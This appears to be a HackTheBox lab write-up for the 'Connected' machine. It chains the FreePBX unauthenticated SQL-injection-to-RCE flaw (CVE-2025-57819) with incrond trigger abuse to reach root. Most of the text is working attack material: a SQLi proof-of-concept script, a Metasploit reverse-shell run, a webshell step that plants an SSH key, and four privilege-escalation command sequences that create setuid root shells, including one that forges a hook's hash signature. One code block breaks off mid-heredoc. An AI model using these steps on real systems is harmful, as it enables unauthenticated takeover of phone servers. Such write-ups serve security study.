HTB :: Connected
FreePBX unauthenticated RCE (CVE-2025-57819) chained with five distinct incrond-based privilege escalation paths to achieve root via an Asterisk daemon running under <code>incrond</code>.
🔒 This section is password protected.
Recon
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5pB+WpL08kZ9YCgPA7QRnKjCsHY/R9oNeUQF1LD5Ms 80/tcp open http syn-ack Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16) |_http-title: Did not follow redirect to http://connected.htb/ 443/tcp open ssl/https syn-ack Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16 | ssl-cert: Subject: commonName=pbxconnect |_http-title: 400 Bad Request
The host exposes only SSH and a web stack — two attack surfaces, both pointing at the same application layer.
1.2 Webbing
The web application on port 80 was FreePBX, leaking its version 16.0.40.7 at the footer. That single fingerprint was all that was needed.

User
2.1 FreePBX
2.1.1 Private Branch Exchange
PBX (Private Branch Exchange) is a company’s internal phone system. FreePBX is a web-based open-source GUI managing Asterisk, a VoIP and telephony server.
Asterisk routes calls between extensions, manages voicemail and conference rooms, serves IVR menus, registers SIP accounts, forwards calls, records audio, and connects to external telephone networks. FreePBX provides the GUI because raw Asterisk config is painful.

2.1.2 CVE-2025-57819
The footer gave us FreePBX 16.0.40.7. The advisory describes an unauthenticated path into FreePBX Administrator through insufficient validation in the commercial endpoint module, leading to SQL injection and then remote code execution.
/admin/ajax.php → endpoint-style AJAX module → unsanitized input reaches SQL → database write (cron/webshell) → RCE
2.1.2.1 Pre-auth AJAX Router
In amp_conf/htdocs/admin/ajax.php, module and command are read directly from the request with framework authentication disabled for bootstrap:
$module = $_REQUEST['module']; $command = $_REQUEST['command'];// No auth - we’ll do that later. $bootstrap_settings[‘freepbx_auth’] = false;
$bmo->Ajax->doRequest($module, $command);
This is the first auth break. In Ajax.class.php, doRequest() converts the module name into a class file and asks that module whether the command is allowed — before any session check:
if ($this->settings['authenticate']) {
if (!isset($_SESSION['AMP_user'])) {
$this->ajaxError(401, 'Not Authenticated');
}
}
This is the second auth break: the module’s ajaxRequest() decision happens before the session check, and it can change $settings. A vulnerable module can mark a command as allowed without requiring a logged-in admin session.
2.1.2.2 SQL Injection PoC
The watchTowr detection artifact and the Metasploit module both use the same Endpoint Manager request shape:
GET /admin/ajax.php ?module=FreePBX\modules\endpoint\ajax &command=model &template=x &model=model &brand=x'
Changing brand to a time-delay SQL expression confirms execution:
#!/bin/bash base='http://connected.htb' url="$base/admin/ajax.php" mod='FreePBX\modules\endpoint\ajax' sql='SELECT SLEEP(5)-- -'curl -sk -o /dev/null -w ‘baseline: %{time_total}s\n’
–get “$url”
–data-urlencode “module=$mod”
–data-urlencode “command=model”
–data-urlencode “template=x”
–data-urlencode “model=model”
–data-urlencode “brand=x”curl -sk -o /dev/null -w ‘sqli: %{time_total}s\n’
–get “$url”
–data-urlencode “module=$mod”
–data-urlencode “command=model”
–data-urlencode “template=x”
–data-urlencode “model=model”
–data-urlencode “brand=x’;$sql”
$ bash sqli_poc.sh baseline: 0.917134s sqli: 11.050604s
2.1.3 SQLi → RCE
2.1.3.1 Metasploit
The public Metasploit module follows the same request shape and writes a FreePBX cron entry through the SQL injection:
use exploit/unix/http/freepbx_unauth_sqli_to_rce set RHOSTS 10.129.78.103 set VHOST connected.htb set TARGETURI / set SSL false set LHOST tun0 set FETCH_WRITABLE_DIR /tmp set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp run
[*] Started reverse TCP handler on 10.10.13.68:4444 [+] Created cronjob with job name: 'fXAAv' [*] Waiting for cronjob to trigger... [*] Meterpreter session 1 opened (10.10.13.68:4444 -> 10.129.78.103:48674) [*] Attempting to perform cleanup [+] Cronjob removed, happy hacking!meterpreter > getuid Server username: asterisk
2.1.3.2 RCE to SSH
The one-shot RCE can be upgraded to a cleaner SSH connection using the watchTowr PoC as the command runner:
#!/bin/bash # Upgrade the FreePBX RCE into SSH access via the watchTowr PoC set -euo pipefailrm -f /tmp/k /tmp/k.pub ssh-keygen -q -t ed25519 -f /tmp/k -N ""
u=“asterisk” d=“connected.htb” poc="./watchTowr-vs-FreePBX-CVE-2025-57819.py" pk="$(cat /tmp/k.pub)" sp="/home/$u/.ssh" cmd=“install -d -m 700 $sp && printf ‘%s\n’ ‘$pk’ > $sp/authorized_keys && chmod 600 $sp/authorized_keys”
python3 “$poc” -H “http://$d” | tee /tmp/cve-2025-57819.out
shell="$(grep -oE ‘https?://[^ ]+watchTowr[a-z0-9]+.php?cmd=hostname’ /tmp/cve-2025-57819.out
| tail -n1 | sed ’s/?cmd=hostname$//’)"curl -skG “$shell” –data-urlencode “cmd=$cmd” >/dev/null chmod 600 /tmp/k ssh -i /tmp/k “$u@$d”
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-4w3e6u3lej.phpasterisk@connected:
$ id uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk) asterisk@connected:$ cat user.txt a*******************************1
Root
3.1 Local Enumeration
LinPEAS highlighted incrond — not a normal cron job. It’s a filesystem event daemon that runs configured commands when watched paths are modified.


asterisk, and FreePBX stores several operational trigger files under asterisk-controlled paths. If root-owned incrond rules watch those paths, then a write by asterisk can become a root-owned service action.
3.2 Incron
3.2.1 Filesystem Event-Driven Cron
incron is cron for filesystem events. Instead of running a command at a fixed time, it watches a path and runs a command when a configured event happens: file closed after write, file modified, attributes changed, and so on.
3.2.2 Incrontab Rules
System-wide rules live under /etc/incron.d/. All three rule files were readable from the asterisk shell:
asterisk@connected:~$ cat /etc/incron.d/* /var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d /var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop /var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron /var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt /var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart /usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha /usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
Every watched path is owned by asterisk. That means all these rules are triggerable from the compromised shell — creating, modifying, or closing the trigger file will dispatch into the paired root-side helper.
3.3 Exploit Paths
Five viable paths were identified. Four were exploited successfully:
/etc/dahdi/init.conf (asterisk-owned). DAHDI init script sources it as root during restart.hooks/ (asterisk-owned) and patch module.sig hash. Dispatcher executes replaced hook as root./etc/wanpipe/wanrouter.rc (asterisk-owned). WANPIPE init script sources it as root.freepbx_ha module with malicious incron.php. Helper includes it and calls rootTrigger().DB.php (PEAR dependency not installed). No writable include path found.3.3.1 Path 1 — DAHDI init.conf Injection
DAHDI (Digium Asterisk Hardware Device Interface) is the hardware layer used by Asterisk for traditional telephony. A DAHDI restart is a privileged operation — it runs as root, loads shell configuration, manages kernel modules, and rebuilds device state.
Line 69 of /etc/init.d/dahdi sources /etc/dahdi/init.conf:
[ -r /etc/dahdi/init.conf ] && . /etc/dahdi/init.conf
The . operator is POSIX shell source — commands in the file run in the root-owned init script’s process. Checking file ownership:
asterisk@connected:~$ ls -l /etc/dahdi/init.conf -rw-r--r--. 1 asterisk asterisk 771 Jun 5 2023 /etc/dahdi/init.conf
The file is owned by the compromised asterisk user. Exploit:
cp /etc/dahdi/init.conf /tmp/dahdi.init.conf.bak printf '\n install -m 4755 /bin/bash /tmp/pwn1 \n' >> /etc/dahdi/init.conf touch /var/spool/asterisk/sysadmin/dahdi_restart
asterisk@connected:~$ ls -l /tmp/pwn1 -rwsr-xr-x 1 root root 964536 Jun 7 08:12 /tmp/pwn1 asterisk@connected:~$ /tmp/pwn1 -p pwn1-5.2# id uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk) pwn1-5.2# cat /root/root.txt 5*****************************6
3.3.2 Path 2 — SysAdmin Hook Hijack
The sysadmin_manager dispatcher treats the trigger filename as module_hook, resolves it to a hook script under the module’s hooks/ directory, and executes it as root — after verifying its SHA-256 hash against module.sig.
Both the hook files and module.sig are owned by asterisk. The bypass: replace the hook, then patch its hash in the sig file.
cp /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop /tmp/fail2ban-stop.bak cp /var/www/html/admin/modules/sysadmin/module.sig /tmp/module.sig.bakcat > /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop «‘EOF’ #!/bin/bash install -m 4755 /bin/bash /tmp/pwn2 EOF chmod +x /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop
new_hash="$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop | awk ‘{print $1}’)" sed -i “s|^(hooks/fail2ban-stop = ).*|\1$new_hash|” /var/www/html/admin/modules/sysadmin/module.sig
touch /var/spool/asterisk/incron/sysadmin_fail2ban-stop
asterisk@connected:~$ ls -l /tmp/pwn2 -rwsr-xr-x 1 root root 964536 Jun 7 08:35 /tmp/pwn2 asterisk@connected:~$ /tmp/pwn2 -p pwn2-5.2# whoami root
3.3.3 Path 3 — WAN Router wanrouter.rc Injection
The WANPIPE init script sources /etc/wanpipe/wanrouter.rc during startup (META_CONF=$WAN_HOME/wanrouter.rc, line 2053). This file is writable by asterisk:
cp /etc/wanpipe/wanrouter.rc /tmp/wanrouter.rc.bak printf '\n install -m 4755 /bin/bash /tmp/pwn3 \n' >> /etc/wanpipe/wanrouter.rc touch /var/spool/asterisk/sysadmin/wanrouter_restart
pwn3-5.2# whoami root
3.3.4 Path 4 — HA Module Plant
The sysadmin_ha helper includes freepbx_ha/functions.inc/incron.php and calls rootTrigger() if the file exists. The freepbx_ha module is absent, but the parent modules/ directory is writable by asterisk. Creating the PHP file is enough:
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php <<'EOF'
pwn4-5.2# id uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk) pwn4-5.2# whoami root